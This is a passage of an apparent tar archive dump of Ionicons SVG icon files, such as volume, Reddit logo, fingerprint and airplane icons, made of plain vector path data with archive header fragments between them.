10.3-151.2 28-8.1 3.3-15.3 9-10.1 19.5S255.9 480 255.9 480l161-329.9c3.2-6.9.9-15.4-9.7-19.7zm-221 73.6c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32zM256 347c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32zm69.8-123c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32z"/><path d="M436.9 66C384.7 45.4 320.3 32 256 32c-64.3 0-127.6 12.1-180.9 33.4C70.4 67.3 64 71 64 79.2l9.7 24.1c2.8 4.9 8.7 8.2 15.1 8.2 1.8 0 4.3-.3 7.3-1.5 49-18.9 103.1-29.6 160-29.6 56.9 0 115.2 11.6 160 29.6 3.6 1.4 5.6 1.5 7.3 1.5 6.6 0 12.2-3.3 15-8.1l9.8-24.1c-.2-7.3-5-10.8-11.3-13.3z"/></svg>ionicons/svg/md-volume-high.svg000064400000000607151701353760012542 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64zm288 64c0-38.399-21.333-72.407-53.333-88.863v176.636C330.667 328.408 352 294.4 352 256zM298.667 64v44.978C360.531 127.632 405.334 186.882 405.334 256c0 69.119-44.803 128.369-106.667 147.022V448C384 428.254 448 349.257 448 256c0-93.256-64-172.254-149.333-192z"/></svg>ionicons/svg/ios-tablet-portrait.svg000064400000000733151701353760013625 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M409 39c-4.5-4.5-10.6-7-16.9-7H119.9c-6.4 0-12.4 2.5-16.9 7-4.5 4.5-7 10.6-7 16.9V456c0 6.4 2.5 12.4 7 16.9 4.5 4.5 10.6 7 16.9 7H392c6.4 0 12.4-2.5 16.9-7 4.5-4.5 7-10.6 7-16.9V55.9c.1-6.3-2.4-12.4-6.9-16.9zm-153.4 9.7c3.9 0 7 3.1 7 7s-3.1 7-7 7-7-3.1-7-7c0-3.8 3.2-7 7-7zM256 470c-7.7 0-14-6.5-14-14.1 0-7.5 6.2-14 14-14 7.7 0 14.1 6.4 14.1 14-.1 7.6-6.4 14.1-14.1 14.1zm144-38H112V80h288v352z"/></svg>ionicons/svg/md-battery-dead.svg000064400000000404151701353760012656 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8zM320 432H192V124.8h128V432z"/></svg>ionicons/svg/logo-reddit.svg000064400000002735151701353760012135 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="322.3" cy="288.4" r="31.8"/><circle cx="190.3" cy="288.4" r="31.8"/><path d="M480.5 251c0-27.7-22.2-50.2-49.5-50.2-13 0-24.7 5-33.6 13.3-33.2-23.4-78.4-38.5-128.7-40.7L292 95.7l69.6 13.9c.2 24.7 20.1 44.7 44.5 44.7 24.6 0 44.5-20.2 44.5-45.1S430.7 64 406.1 64c-18.6 0-34.5 11.6-41.2 28l-85.2-17-29.4 98.2-7.1.2c-50.3 2.2-95.5 17.4-128.7 40.7-8.8-8.3-20.6-13.3-33.6-13.3-27.3 0-49.5 22.5-49.5 50.2 0 19.6 11 36.5 27.1 44.8-.8 4.9-1.2 9.8-1.2 14.8C57.5 386.4 146.4 448 256 448s198.5-61.6 198.5-137.5c0-5-.4-9.9-1.1-14.8 16.1-8.3 27.1-25.2 27.1-44.7zM406.1 81.9c14.8 0 26.8 12.2 26.8 27.2s-12 27.2-26.8 27.2-26.8-12.2-26.8-27.2 12-27.2 26.8-27.2zM49.2 251c0-17.8 14.3-32.2 31.8-32.2 7.2 0 13.9 2.5 19.2 6.6-17.3 15.2-30.1 33-37 52.4-8.4-5.9-14-15.7-14-26.8zm337.2 141.9C351.8 416.8 305.5 430 256 430s-95.8-13.2-130.4-37.1c-32.5-22.5-50.4-51.8-50.4-82.4 0-3.2.2-6.5.6-9.7.7-6 2.2-11.9 4.3-17.7 5.6-15.6 16-30.3 30.7-43.4 4.4-3.9 9.2-7.7 14.4-11.3.1-.1.3-.2.4-.3C160.2 204.2 206.5 191 256 191s95.8 13.2 130.4 37.1c.1.1.3.2.4.3 5.2 3.6 10 7.4 14.4 11.3 14.7 13.1 25.1 27.8 30.7 43.4 2.1 5.8 3.5 11.7 4.3 17.7.4 3.2.6 6.4.6 9.7 0 30.6-17.9 59.9-50.4 82.4zm62.4-115.2c-6.9-19.4-19.7-37.2-37-52.4 5.3-4.1 12-6.6 19.2-6.6 17.5 0 31.8 14.5 31.8 32.2 0 11.2-5.6 21-14 26.8z"/><path d="M320.5 357.9c-.2.2-24.2 24.2-64.5 24.4-40.9-.2-64.4-24.2-64.6-24.4l-12.6 12.4c1.2 1.2 29.6 29.5 77.2 29.7 47.6-.2 75.9-28.5 77.1-29.7l-12.6-12.4z"/></svg>ionicons/svg/md-add-circle.svg000064400000000340151701353760012277 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm107 229h-86v86h-42v-86h-86v-42h86v-86h42v86h86v42z"/></svg>ionicons/svg/md-cloudy-night.svg000064400000001400151701353760012714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M123.4 183c.4-.1.8-.1 1.2-.2-.5.1-.8.2-1.2.2zM341.5 303.4C330.7 247.7 282.2 206 224 206c-34 0-65.1 12-86.5 39.1 29.4 2.2 56.7 13.1 77.7 34.2 15.6 15.7 26.6 34.9 32.1 55.8h-28.7c-13.1-37.6-48-64.5-90.6-64.5-5.1 0-12.3.6-17.7 1.7-45.7 9.4-78.3 47.6-78.3 95 0 53.4 43 96.8 96 96.8h208c44.1 0 80-36.1 80-80.6-.1-42.7-32.9-77.2-74.5-80.1z"/><path d="M112.5 225.4c13.6-17.3 30.7-30.5 50.8-39.2 18.4-8 38.8-12 60.7-12 6.1 0 12.2.4 18.2 1.1-6.1-18.1-9.4-37.6-9.4-57.8 0-24.6 4.9-48.1 13.8-69.4C161.9 68.7 99 145.7 99 237.3c0 1.6 0 3.2.1 4.8.1 0 .2-.1.3-.1l13.1-16.6zM417.6 306.8c13.3 14.2 22.6 31.5 27.1 50.1 16.5-21.4 28.7-46.4 35.3-73.5-21.2 9-44.5 13.9-68.9 13.9h-3.6c3.5 2.9 6.9 6.1 10.1 9.5z"/></svg>ionicons/svg/md-create.svg000064400000000423151701353760011555 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 368v80h80l235.727-235.729-79.999-79.998L64 368zm377.602-217.602c8.531-8.531 8.531-21.334 0-29.865l-50.135-50.135c-8.531-8.531-21.334-8.531-29.865 0l-39.468 39.469 79.999 79.998 39.469-39.467z"/></svg>ionicons/svg/ios-egg.svg000064400000000265151701353760011252 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C192 32 96 165.2 96 288.9 96 412.6 160 480 256 480s160-67.4 160-191.1C416 165.2 320 32 256 32z"/></svg>ionicons/svg/md-information.svg000064400000000167151701353760012644 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232 235h48v137h-48zM232 140h48v48h-48z"/></svg>ionicons/svg/md-finger-print.svg000064400000004154151701353760012723 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M78.1 205.6c-2.4 0-4.9-.6-7.1-1.9-6.7-3.9-9-12.4-5.1-19.1 17.8-30 71.9-100.1 190.1-100.1 51.2 0 96.1 13.6 133.4 40.4 30.7 22 47.9 46.9 56.1 58.9 4.4 6.4 2.7 15-3.7 19.4-6.4 4.3-15.2 2.7-19.6-3.7-14.9-21.6-60.1-87.2-166.2-87.2-103.6 0-150.4 60.4-165.7 86.3-2.6 4.6-7.3 7-12.2 7z"/><path d="M315.5 480c-1.2 0-2.3-.1-3.5-.4-85.7-21.5-117.7-108.1-119-111.7l-.2-.8c-.7-2.5-17.9-61.9 8.5-96.7 12.1-15.9 30.5-24 54.8-24 22.6 0 38.9 7.1 50.1 21.8 9.2 12 12.9 26.8 16.5 41.1 7.5 29.7 12.9 45.3 44.1 46.9 13.7.7 22.7-7.4 27.8-14.3 13.8-18.8 16.2-49.5 5.8-76.5-13.4-35-60.8-100.9-144.4-100.9-35.7 0-68.5 11.6-94.8 33.4-21.8 18.1-39.1 43.6-47.4 69.8-15.4 48.8 4.8 125.5 5 126.2 2 7.4-2.5 15.1-10 17-7.5 2-15.3-2.5-17.3-9.9-.9-3.5-22.5-85.3-4.7-141.7C106.2 198.2 166 136.6 256 136.6c41.6 0 80.9 14.3 113.7 41.3 25.4 21 46.2 49.2 57 77.4 13.8 36 10.1 76.4-9.4 102.8-13 17.6-31.5 26.8-52 25.8-53.4-2.7-63-40.4-70-67.9-7.2-28.2-11.8-41.8-39.3-41.8-15.1 0-25.7 4.2-32.3 12.9-9 11.9-9.7 30.5-8.7 44 1 14.1 4 25.5 4.7 27.8 2.2 5.6 30.8 76.5 99.3 93.7 7.6 1.9 12.1 9.5 10.2 16.9-1.7 6.3-7.4 10.5-13.7 10.5z"/><path d="M205.5 473.6c-3.8 0-7.5-1.5-10.3-4.4-34.3-36.4-53.7-77.1-61-128v-.3c-4.1-33.7 1.9-81.4 31.3-114.2 21.7-24.2 52.2-36.5 90.5-36.5 45.3 0 80.9 21.3 103.1 61.5 16.1 29.2 19.3 58.3 19.4 59.5.8 7.7-4.9 14.5-12.6 15.3-7.7.8-14.7-4.8-15.5-12.4 0-.3-2.8-25.3-16.5-49.7-17.2-30.7-43.4-46.3-78-46.3-29.9 0-53.3 9.1-69.4 27.1-23.2 25.9-27.7 65.8-24.5 92.2 6.4 45 23.5 80.8 53.7 112.8 5.3 5.6 5 14.5-.7 19.7-2.6 2.4-6.1 3.7-9.5 3.7z"/><path d="M363.5 433.5c-30 0-55.5-8.4-75.9-25.1-41-33.4-45.6-87.8-45.8-90.1-.6-7.7 5.2-14.4 13-15 7.8-.6 14.5 5.1 15.1 12.8.1.8 4.2 45.3 35.8 70.9 18.7 15.1 43.7 21.1 74.5 17.6 7.7-.9 14.7 4.6 15.6 12.3.9 7.7-4.7 14.6-12.4 15.4-6.8.8-13.5 1.2-19.9 1.2zM387.2 62.6C375.5 54.9 334 32 256 32c-81.9 0-123.5 25.3-132.7 31.7-.6.4-1.2.8-1.7 1.3-.1.1-.2.1-.2.1-2.9 2.6-4.7 6.3-4.7 10.4 0 7.7 6.3 13.9 14.1 13.9 3.1 0 5.9-1 8.2-2.6l-.1.1c.4-.3 36.3-27 117.1-27s116.7 26.8 117.1 27l-.1-.1.2-.2c2.4 1.8 5.3 2.8 8.5 2.8 7.8 0 14.1-6.2 14.1-13.9 0-5.8-3.5-10.8-8.6-12.9z"/></svg>ionicons/svg/md-male.svg000064400000000504151701353760011230 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 48H288v48h94.1L275.4 202.6C251.9 185.9 223.1 176 192 176c-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144c0-31.1-9.9-59.9-26.6-83.4L416 129.9V224h48V48h-48zM192 416c-52.9 0-96-43.1-96-96s43.1-96 96-96 96 43.1 96 96-43.1 96-96 96z"/></svg>ionicons/svg/md-thumbs-up.svg000064400000000471151701353760012241 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M198 448h172c15.7 0 28.6-9.6 34.2-23.4l57.1-135.4c1.7-4.4 2.6-9 2.6-14v-38.6c0-21.1-17-44.6-37.8-44.6H306.9l18-81.5.6-6c0-7.9-3.2-15.1-8.3-20.3L297 64 171 191.3c-6.8 6.9-11 16.5-11 27.1v192c0 21.1 17.2 37.6 38 37.6zM48 224h64v224H48z"/></svg>ionicons/svg/ios-notifications-off.svg000064400000001230151701353760014122 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.9 456c31.1 0 48.1-22 48.1-53h-96.3c0 31 17 53 48.2 53zM154.5 55c-2.5-4.3-7-6.8-11.6-7h.3-1.2c-2.3 0-4.7.7-6.9 1.9-6.8 3.9-9.1 12.6-5.1 19.3L357.5 457c2.6 4.5 7.4 7 12.3 7 2.4 0 4.9-.6 7.2-1.9 6.8-3.9 9.1-12.6 5.1-19.3L154.5 55zM296.1 384L159 150.5c-8.2 20.2-13.3 46-13.3 78.6 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h180.2zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.4-11-24.7-24.4-24.6-13.4-.2-24.4 11.2-24.4 24.6v2.9c0 3.7-2.6 5-6.2 5.9-8.7 2-17.5 5.5-25.9 10.8L366.1 384H396c16.5 0 25.9-18.8 16-31.8z"/></svg>ionicons/svg/ios-train.svg000064400000001374151701353760011627 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.7 455.9l-50-48c-5.6-5.4-14.4-5.2-19.8.4-5.4 5.6-5.2 14.4.4 19.8l6.1 5.9H181.5l6.1-5.9c5.6-5.4 5.8-14.2.4-19.8-5.4-5.6-14.2-5.8-19.8-.4l-50 48c-5.6 5.4-5.8 14.2-.4 19.8 2.7 2.9 6.4 4.3 10.1 4.3 3.5 0 7-1.3 9.7-3.9l14.7-14.1h207.2l14.7 14.1c2.7 2.6 6.2 3.9 9.7 3.9 3.7 0 7.4-1.4 10.1-4.3 5.5-5.6 5.3-14.4-.3-19.8z"/><path d="M337 48h-17c0-8.8-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16h-15c-35.3 0-65 27.7-65 63v236c0 35.3 144 65 144 65s144-29.7 144-65V111c0-35.3-27.7-63-63-63zm-81 304c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm96-160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16v-64c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v64z"/><circle cx="256" cy="304" r="30.5"/></svg>ionicons/svg/logo-freebsd-devil.svg000064400000002264151701353760013372 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M502.6 115c-22.5-43.7-58-51-58-51s15.5 32 16 51c.4 16.1-5.5 28-27.2 33.5s-30.8-2-47.8-17.5-41.6-26.5-72.6-28c-40-2-77 9-77 9-20-25 20-80 20-80-74.5 29.5-93.7 83.3-96 113.7-1.9 24.1 8.5 40.8 8.5 40.8s-.5 27.8-5 42c-3.1 9.8-16.9 25-26 34.5-12.2 12.7-12.5 38.5 0 57s44 27.5 67 39.5 31.5 21 31.5 21 1 8.3.5 15.3-3.2 14-9 18.2c-5.5 3.9-15.5.5-20.5-2s-5-6.2-10.5-8-7.3-4-6.5-11 2-9-3.5-18.5-18.5-9.5-29.5-8-17.3 6.8-17.3 6.8l-16.3-10s8.5-15.6 5.2-35.6c-7.3-43.8-50-62.8-50-62.8L89 309.3s1.1-2.6 6.4-6.4 8.1-3.6 8.1-3.6 6.6 7.6 9.1 25.3c2.5 18-6.7 27.2-6.7 27.2l-28.3-18 1-14.5L39.8 309 56 345.7l15-4 24 22.7s-15.7 11.7-33 11.7c-11 0-22-6-22-6s-1.4-1-.8-5.5c.7-5 6.8-12.5 6.8-12.5H0s27.3 38.7 65 38.7c31 0 44.2-12.5 44.2-12.5L128 397s3 5.5 0 7-7 3.5-9 15 18 29 18 29c21.8 17.8 7 32 7 32h272c-9-13-22.5-18-32-32 0 0-44.8-58.4-1.8-90.4 57.4-42.7 42.8-69.4 41.2-101.4 0 0 31.8-6.6 59.3-33.6s38.9-70.8 19.9-107.6zM195 203c-16.9 4.5-22.5 35.5-22.5 35.5 1.5-63 57.5-93 65-89s-6.5 39-21 64c0 0-8-14.1-21.5-10.5zm37 15s18-56 37.5-59.5 41.5 21 41.5 62-26 65.4-42.8 69.2c-16.5 3.8-23 2-23 2s27.5-21.6 23.5-56.8c-2.8-24.7-31.4-24.2-36.7-16.9z"/></svg>ionicons/svg/md-add-circle-outline.svg000064400000000666151701353760013767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M363 277h-86v86h-42v-86h-86v-42h86v-86h42v86h86v42z"/><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422c-44.3 0-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256c0-44.3 17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-grid.svg000064400000000777151701353760011253 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M409.6 64H102.4C81.3 64 64 81.3 64 102.4v307.2c0 21.1 17.3 38.4 38.4 38.4h307.2c21.1 0 38.4-17.3 38.4-38.4V102.4c0-21.1-17.3-38.4-38.4-38.4zM179.2 409.6h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm115.2 230.4h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm115.2 230.4h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8z"/></svg>ionicons/svg/ios-airplane.svg000064400000001211151701353760012273 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.7 224c-3.4 0-14.8.1-18 .3l-64.9 1.7c-.7 0-1.4-.3-1.7-.9L225.8 79.4c-2.9-4.6-8.1-7.4-13.5-7.4h-23.7c-5.6 0-7.5 5.6-5.5 10.8l50.1 142.8c.5 1.3-.4 2.7-1.8 2.7L109 230.1c-2.6.1-5-1.1-6.6-3.1l-37-45c-3-3.9-7.7-6.1-12.6-6.1H36c-2.8 0-4.7 2.7-3.8 5.3l19.9 68.7c1.5 3.8 1.5 8.1 0 11.9l-19.9 68.7c-.9 2.6 1 5.3 3.8 5.3h16.7c4.9 0 9.6-2.3 12.6-6.1L103 284c1.6-2 4.1-3.2 6.6-3.1l121.7 2.7c1.4.1 2.3 1.4 1.8 2.7L183 429.2c-2 5.2-.1 10.8 5.5 10.8h23.7c5.5 0 10.6-2.8 13.5-7.4L323.1 287c.4-.6 1-.9 1.7-.9l64.9 1.7c3.3.2 14.6.3 18 .3 44.3 0 72.3-14.3 72.3-32S452.1 224 407.7 224z"/></svg>ionicons/svg/ios-basket.svg000064400000001211151701353760011751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M387.9 373.7h49.2l17.5-75.4h-66.7zM387.9 448h.5c18.7 0 33.4-12.5 38.3-29.5l6-25.9h-44.8V448zM265.4 392.5h103.7V448H265.4zM75 373.7h49v-75.4H57.5zM142.9 192h103.7v87.5H142.9zM265.4 192h103.7v87.5H265.4zM85.5 418.3c4.7 17 19.4 29.7 38.1 29.7h.5v-55.5H79.4l6.1 25.8zM142.9 392.5h103.7V448H142.9zM265.4 298.3h103.7v75.4H265.4zM142.9 298.3h103.7v75.4H142.9z"/><path d="M464 192h-47.9V96c0-17.6-14.4-32-32-32H127.9c-17.6 0-32 14.4-32 32v96H48c-10.3 0-17.9 9.6-15.6 19.6l19.7 67.9H124V106c0-7.7 6.3-14 14-14h236c7.7 0 14 6.3 14 14v173.5h72l19.6-67.9c2.3-10-5.3-19.6-15.6-19.6z"/></svg>ionicons/svg/ios-medical.svg000064400000001237151701353760012106 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.3 174.3l-16.5-28.6c-4.3-7.4-13.8-10-21.2-5.7L294 197c-2.7 1.5-6-.4-6-3.5v-114c0-8.6-6.9-15.5-15.5-15.5h-33c-8.6 0-15.5 6.9-15.5 15.5v114.1c0 3.1-3.3 5-6 3.5l-98.6-57c-7.4-4.3-16.9-1.7-21.2 5.7l-16.5 28.6c-4.3 7.4-1.7 16.9 5.7 21.1l98.7 57.1c2.7 1.5 2.7 5.4 0 6.9l-98.7 57.1c-7.4 4.3-9.9 13.7-5.7 21.1l16.5 28.6c4.3 7.4 13.8 10 21.2 5.7l98.6-57c2.7-1.5 6 .4 6 3.5v114.1c0 8.6 6.9 15.5 15.5 15.5h33c8.6 0 15.5-6.9 15.5-15.5V318.4c0-3.1 3.4-5 6-3.5l98.6 57c7.4 4.3 16.9 1.7 21.2-5.7l16.5-28.6c4.3-7.4 1.7-16.9-5.7-21.1l-98.7-57.1c-2.7-1.5-2.7-5.4 0-6.9l98.7-57.1c7.4-4.2 9.9-13.7 5.7-21.1z"/></svg>ionicons/svg/ios-notifications.svg000064400000000663151701353760013363 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.9 456c31.1 0 48.1-22 48.1-53h-96.3c0 31 17 53 48.2 53zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.4-11-24.7-24.4-24.6-13.4-.2-24.4 11.2-24.4 24.6v2.9c0 3.7-2.6 5-6.2 5.9-38.5 9.1-79.6 46.5-79.6 139.8 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h280.1c16.3 0 25.7-18.8 15.8-31.8z"/></svg>ionicons/svg/md-sad.svg000064400000001235151701353760011063 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 288c-45.443 0-83.675 26.076-102.205 64h204.41c-18.53-37.924-56.762-64-102.205-64z"/><path d="M256 48C140.563 48 48 141.6 48 256s92.563 208 208 208 208-93.6 208-208S370.401 48 256 48zm0 374.4c-91.518 0-166.404-74.883-166.404-166.4 0-91.518 74.887-166.4 166.404-166.4S422.404 164.482 422.404 256 347.518 422.4 256 422.4z"/><path d="M328.8 235.2c17.683 0 31.201-13.518 31.201-31.2s-13.519-31.2-31.201-31.2c-17.682 0-31.2 13.518-31.2 31.2s13.518 31.2 31.2 31.2zM183.2 235.2c17.682 0 31.2-13.518 31.2-31.2s-13.519-31.2-31.2-31.2c-17.683 0-31.201 13.518-31.201 31.2s13.519 31.2 31.201 31.2z"/></svg>ionicons/svg/ios-cellular.svg000064400000002677151701353760012324 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408.4 51.8c-2.6-2.5-6.1-3.8-9.7-3.8-3.7 0-7.2 1.4-9.9 3.9-2.7 2.6-4.1 6-4.1 9.6 0 3.6 1.5 7 4.2 9.6 30.4 28.5 47.1 66.5 47.1 107.1 0 40.5-16.7 78.5-47.1 107.1-2.7 2.5-4.2 5.9-4.2 9.6 0 3.6 1.4 7 4.1 9.6 2.6 2.5 6.1 3.9 9.9 3.9 3.7 0 7.1-1.4 9.7-3.8C444.3 271 464 226.1 464 178.2v-.1c0-47.9-19.8-92.7-55.6-126.3z"/><path d="M351 96.8c-2.4-2.3-5.6-3.5-9-3.5-3.3 0-6.5 1.2-8.9 3.4-2.5 2.3-3.9 5.4-3.9 8.7 0 3.3 1.3 6.4 3.8 8.7 18 17 27.8 39.8 27.8 64 0 24.2-9.9 47-27.8 64-2.5 2.3-3.8 5.4-3.8 8.7 0 3.3 1.4 6.4 3.9 8.7 2.4 2.2 5.5 3.4 8.9 3.4 3.4 0 6.6-1.3 9-3.5 22.8-21.7 35.4-50.5 35.4-81.3v-.1c0-30.7-12.6-59.5-35.4-81.2zM123.1 71.1c2.7-2.5 4.2-5.9 4.2-9.6 0-3.6-1.4-7-4.1-9.6-2.6-2.5-6.1-3.9-9.9-3.9-3.7 0-7.1 1.4-9.7 3.8C67.7 85.4 48 130.3 48 178.2v.2c0 47.8 19.8 92.6 55.6 126.2 2.6 2.5 6.1 3.8 9.7 3.8 3.7 0 7.2-1.4 9.9-3.9 2.7-2.6 4.1-6 4.1-9.6 0-3.6-1.5-7-4.2-9.6C92.7 256.8 76 218.8 76 178.2c-.1-40.6 16.7-78.6 47.1-107.1z"/><path d="M179 114.1c2.5-2.3 3.8-5.4 3.8-8.7 0-3.3-1.4-6.4-3.9-8.7-2.4-2.2-5.5-3.4-8.9-3.4-3.4 0-6.6 1.3-9 3.5-22.8 21.7-35.4 50.5-35.4 81.3v.1c0 30.8 12.6 59.6 35.4 81.2 2.4 2.3 5.6 3.5 9 3.5 3.3 0 6.5-1.2 8.9-3.4 2.5-2.3 3.9-5.4 3.9-8.7 0-3.3-1.3-6.4-3.8-8.7-18-17-27.8-39.8-27.8-64-.1-24.2 9.8-46.9 27.8-64zM256 123.2c-26.5 0-48 21.5-48 48 0 21.6 14.3 39.9 34 45.9v233c0 7.7 6.3 13.9 14 13.9s14-6.2 14-13.9v-233c19.7-6 34-24.3 34-45.9 0-26.5-21.5-48-48-48z"/></svg>ionicons/svg/md-at.svg000064400000002353151701353760010722 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M265.6 212.3c-10.5 0-18.5 4.4-24 13.2-5.5 8.8-9.1 22-10.8 39.6-.9 11.7 0 20.5 2.7 26.5s7.1 9 13.1 9c5.5 0 10.3-1.5 14.6-4.4 4.3-2.9 8.1-8.3 11.3-16.2l6.1-66c-2.2-.5-4.4-.9-6.5-1.2-2.3-.4-4.4-.5-6.5-.5z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm127.8 201.9c-.9 21.4-7.6 39.9-20 55.6-12.4 15.6-31 23.4-55.6 23.4-8.2 0-15.3-2.2-21.2-6.6-6-4.4-10.2-10.7-12.6-18.8-4.1 8.3-9.4 14.5-15.7 18.6-6.3 4.1-13.7 6.2-22.2 6.2-15.1 0-26.6-5.8-34.6-17.3s-10.9-26.8-8.8-45.9c2.6-24.4 10-44 22.2-58.7 12.2-14.7 27-22 44.4-22 12.2 0 22.1 1.3 29.5 3.8 7.4 2.5 15.6 5.7 24.5 11l-.5-.1h.8l-7.7 83.4c-.5 8.5.1 14.6 1.7 17.8 1.7 3.2 3.9 4.9 6.7 4.9 11.3 0 20.4-5.1 27.2-15.6 6.8-10.5 10.6-23.6 11.4-39.6 1.6-33-5.1-58.7-20.2-77.1-15.1-18.4-38.3-27.7-69.7-27.7-30.5 0-54.8 9.9-72.8 29.8s-27.7 46.9-29.3 81.2c-1.7 33.4 5.6 59.8 21.9 79.1 16.3 19.4 39.7 29.1 70.3 29.1 8.5 0 17.3-.9 26.5-2.7 9.1-1.8 17.1-4.1 23.7-6.8l5.8 24.2c-6.8 4.1-15.4 7.3-25.9 9.6-10.5 2.3-20.7 3.4-30.7 3.4-40.8 0-72.3-12.1-94.3-36.4-22-24.2-32.2-57.4-30.5-99.6 1.8-41.8 14.9-74.9 39.1-99.4 24.3-24.5 56.5-36.7 96.7-36.7 39.5 0 69.8 11.6 90.7 34.7 21.2 23.2 30.8 54.9 29.2 95.2z"/></svg>ionicons/svg/md-crop.svg000064400000000363151701353760011260 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 312.7h37.8V160c0-20.8-17-37.8-37.8-37.8H199.3V160H352v152.7zm-192 33.5V48h-37.8v74.2H48V160h74.2v186.2c0 20.8 17 37.8 37.8 37.8h192v80h37.8v-80H464v-37.8H160z"/></svg>ionicons/svg/md-hand.svg000064400000001726151701353760011233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.679 273.5c-14.585-14.577-36.054-15.89-50.639-1.312l-41.687 41.664c-10.852 10.836-23.93 10.859-31.564 1.852-5.057-5.968-3.061-24.374-1.644-36.049l20.907-171.849c1.867-15.353-9.07-30.185-24.43-32.051-15.358-1.867-29.322 9.939-31.191 25.289L267.37 236.021c-1.205 3.358-3.79 3.938-4.081-.582L255.44 60c0-15.465-12.542-28-28.014-28-15.473 0-28.015 12.535-28.015 28l-.552 176.752c.146 2.04-1.604 2.624-1.92.294L172.016 99.077c-2.75-15.219-17.323-26.203-32.548-23.453-15.227 2.748-25.339 18.187-22.591 33.403l22.193 161.455c.023 2.872-.941 4.513-2.308.831l-33.109-88.517c-5.18-14.572-21.196-23.065-35.776-17.889-14.579 5.177-22.201 22.061-17.023 36.631l58.042 189.625c.303 1.046.624 2.085.953 3.118l.121.39c.011.031.025.058.035.088C126.079 444.233 172.57 480 227.427 480c35.116 0 71.591-12.378 99.357-33.672l.003-.002c29.99-18.051 126.071-121.347 126.071-121.347 14.587-14.577 12.408-36.899-2.179-51.479z"/></svg>ionicons/svg/md-code-working.svg000064400000000444151701353760012705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/><path d="M155.6 276h40v-40h-40v40zm200.8-40h-40v40h40v-40zM236 